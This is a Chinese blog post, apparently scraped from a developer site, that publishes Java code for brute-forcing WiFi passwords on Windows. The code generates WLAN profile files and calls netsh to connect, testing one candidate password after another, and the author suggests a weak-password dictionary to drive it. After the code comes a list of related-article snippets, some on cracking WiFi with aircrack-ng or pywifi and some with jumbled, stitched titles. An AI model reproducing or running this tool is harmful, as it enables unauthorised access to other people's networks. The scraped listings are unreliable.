Java暴力破解wifi密码

过年在家闲得蛋疼,参考网上的资料,写了一个暴力破解wifi的java代码,废话不多说,附上源码

public class Demo {public static final String CODE_UTF8 = "utf-8";public static final String CODE_GBK = "gbk";public static final String DEFAULT_PATH = "E://wifi";//默认wifi配置文件生成路径public static final String WIFI_LIST = "netsh wlan show networks mode=bssid";// 列出所有可用wifipublic static final String WIFI_ADDFILE = "netsh wlan add profile filename=";// 添加配置文件,后面需要加上你生成的配置文件名称public static final String WIFI_CONNECT = "netsh wlan connect name=";// 连接wifi,后面加上你需要连接的wifi名称public static final String TEST_CONNECT = "ping www.baidu.com";//wifi连接后测试是否ping通的一个网址//一个配置文件模板public static String XML_FORMAT = "<?xml version=\"1.0\"?>"
+"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">"+"<name>WIFI_NAME</name>"+"<SSIDConfig>"+"<SSID>"+"<name>WIFI_NAME</name>"+"</SSID>"+"</SSIDConfig>"+"<connectionType>ESS</connectionType>"+"<connectionMode>manual</connectionMode>"+"<MSM>"+"<security>"+"<authEncryption>"+"<authentication>WPA2PSK</authentication>"+"<encryption>AES</encryption>"+"<useOneX>false</useOneX>"+"</authEncryption>"+"<sharedKey>"+"<keyType>passPhrase</keyType>"+"<protected>false</protected>"+"<keyMaterial>PASSWORD</keyMaterial>"+"</sharedKey>"+"</security>"+"</MSM>"+"<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">"+"<enableRandomization>false</enableRandomization>"+"</MacRandomization>"
+"</WLANProfile>";public static void main(String[] args) {//列出所有的可用wifi,key是wifi名称,value是wifi的强度(用这个不如自己打开wifi看附近有哪些可用来得快)/*Map<String,String> map = getWifi();for(String key:map.keySet()){System.out.println(key+"..."+map.get(key));}*/boolean flag = true;String wifiName = "wifiName";while(flag){//建议这个密码去网上找弱口令字典,否则自己随机生成真的太慢了(一秒钟只能尝试最多两次连接)String password = "12345678";//一直更换这个密码就好了if(testConnected(wifiName,password)){flag = false;}}}/** 尝试对指定wifi设定一个密码,然后连接,连接成功返回true */public static boolean testConnected(String wifiName,String password){boolean flag = false;System.out.println("开始生成配置文件......");if(!createXml(wifiName,password,DEFAULT_PATH)){System.out.println("配置文件生成失败......");return false;}System.out.println("开始加载配置文件......");if(!addXml(wifiName,DEFAULT_PATH)){System.out.println("配置文件加载失败......");return false;}System.out.println("开始尝试连接......");execute(WIFI_CONNECT+wifiName,DEFAULT_PATH);//最后校验是否连接成功if(connectResult()){System.out.println("连接成功,密码是:"+password);flag = true;}else{System.out.println("连接失败,请更换密码");flag = false;}return flag;}/** 最后,ping 一个地址,测试是否真的连上网络了 */public static boolean connectResult(){try {Thread.sleep(500);//这个休眠的意义是即时连接成功,你立刻ping 也还是会失败,必须让电脑反应过来,必须等一会} catch (InterruptedException e) {e.printStackTrace();}boolean flag = true;for(String rs:execute(TEST_CONNECT,DEFAULT_PATH)){if("Ping 请求找不到主机 www.baidu.com。请检查该名称,然后重试。".equals(rs)){flag = false;break;}}return flag;}/** 在指定目录下,加载指定wifi名称的配置文件 */public static boolean addXml(String wifiName,String path){boolean flag = false;for(String rs:execute(WIFI_ADDFILE+wifiName+".xml",path)){if(("已将配置文件 "+wifiName+" 添加到接口 WLAN。").equals(rs)){flag = true;break;}}return flag;}/** 在指定目录下,对指定wifi生成一个指定密码的配置文件,文件名为wifi.xml */public static boolean createXml(String wifiName,String password,String path){boolean flag = false;File file = new File(path,wifiName+".xml");try {PrintStream ps = new PrintStream(file);String str = XML_FORMAT.replaceAll("WIFI_NAME", wifiName).replaceAll("PASSWORD", password);ps.println(str);ps.close();flag = true;} catch (FileNotFoundException e) {e.printStackTrace();}return flag;}/** 获取所有可用的wifi名称,key是wifi名称,value是信号强度*/public static Map<String,String> getWifi(){Map<String,String> map = new HashMap<>();//这里使用UTF-8去获取,中文名称的wifi不会乱码String key = null;String value = null;boolean saveFlag = false;for(String str:execute(WIFI_LIST,null,CODE_UTF8)){if(str.startsWith("SSID")){key = str.substring(9, str.length());}else if(str.endsWith("%")){value = str.substring(str.length()-3, str.length()-1);saveFlag = true;}if(saveFlag){map.put(key, value);saveFlag = false;}}return map;}/** 在指定目录下执行指定命令,默认使用GBK编码 */public static List<String> execute(String cmd, String filePath) {return execute(cmd,filePath,CODE_GBK);}/** 在指定目录下执行指定命令,返回指定编码的内容 */public static List<String> execute(String cmd, String filePath,String code) {Process process = null;List<String> result = new ArrayList<String>();try {if (filePath != null) {process = Runtime.getRuntime().exec(cmd, null, new File(filePath));} else {process = Runtime.getRuntime().exec(cmd);}BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), code));String line = null;while ((line = bReader.readLine()) != null) {result.add(line);}} catch (IOException e) {e.printStackTrace();}return result;}
}

代码原理很简单,就是利用IO流生成标准化的wlan配置文件,通过cmd命令行加入,然后执行连接命令即可,但是有一个非常恶心的地方,就是即使密码是正确的,我们需要测试是否能够上网,也必须在连接完毕后过一会才能测试,我试了300毫秒,偶尔会出现网络连接上了,但是还是ping失败,机器没有反应过来,反正最后写好后,感觉很鸡肋,效率太低。我是新手,欢迎大佬指教

Java暴力破解Wifi相关推荐

  1. 凯撒密码加密算法python_Python最新暴力破解WiFi,攻破所有密码限制,最强破解!...

    生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有的可以 ...

  2. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  3. Python 暴力破解wifi

    Python 使用pywifi模块暴力破解wifi实现自动登陆的效果,本次采用面向过程的方式编写,简单易懂. 思路: 首先检查是否拥有无限网卡 无线网卡是否连接到wifi 如果连接到wifi那么需要断 ...

  4. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  5. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  6. 如何在Windows平台用Java代码暴力破解WIFI密码

    开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...

  7. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  8. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

  9. aircrack-ng暴力破解WIFI密码

    使用工具: aircrack-ng kali支持的无线网卡 第一步:检查无线网卡插上后,是否识别 第二步:airmon-ng check kill (我的理解是杀死有可能妨碍监听模式的进程) 第三步: ...

  10. pywifi暴力破解WIFI

    注:在相同目录下新建一个janywifi.json文件 随机生成8-11位数字,生成过的数字存在janywifi.json文件里,不重复,断点继续 import time #时间 import pyw ...

最新文章

  1. Linux虚拟机ip为127.0.0.1的处理
  2. 075-SSH遇到不能登陆的情况
  3. visio网络拓扑图_人船模型怎么画?分享高颜值模型图软件
  4. 26.删除排序数组中的重复项
  5. 关于我的代码在课上第一时间没有运行出来这件事
  6. Activiti工作流引擎的使用
  7. leetcode - 264. 丑数 II
  8. IPV4与IPV6的区别(史上最详细)
  9. struts2+hibernate3.3+spring3.0 实现零配置
  10. 队列的实现(二) 链式队列的实现
  11. 腾讯同事要跳槽,问我背包问题具体咋回事,我直接甩给他这篇!
  12. 360顽固木马专杀工具 千万别用 会删除Oracle服务
  13. linux mame 游戏下载,mame街机模拟器游戏 for linux
  14. c word to html 走样,打印机打印效果走样解决办法.pptx
  15. 自动(智能)驾驶 | 傲酷4D毫米波雷达报告记录分享
  16. Linux Centos 7 实现java控制打印机打印文件**
  17. android访问win10共享文件夹,手机怎么用ES浏览器访问Win10共享文件教程
  18. 马尔科夫随机场Markov Random Field
  19. 【Linux】WARNING: The script locust is installed in ‘/home/xxx/bin‘ which is not on PATH.
  20. 细讲如何对NFA确定化和最小化

热门文章

  1. 人人都能玩航拍 手把手教你装4轴
  2. android实现语音聊天功能,为实现Android语音聊天室开发,语音聊天室软件源码该如何搭建...
  3. Matter.js 2D 物理引擎试玩报告
  4. 微软惊天泄漏,Win11 预览版镜像提前出世
  5. 罗技 连点 脚本_拳头与罗技G展开合作 将推出《英雄联盟》主题外设--新闻中心...
  6. 油猴/暴力猴工具换cook脚本
  7. JAVA微信小程序购物商城系统毕业设计 开题报告
  8. stm32中typedef的用法
  9. 写了个算分压电阻阻值的MATLAB小程序
  10. 极域电子教室2016破解版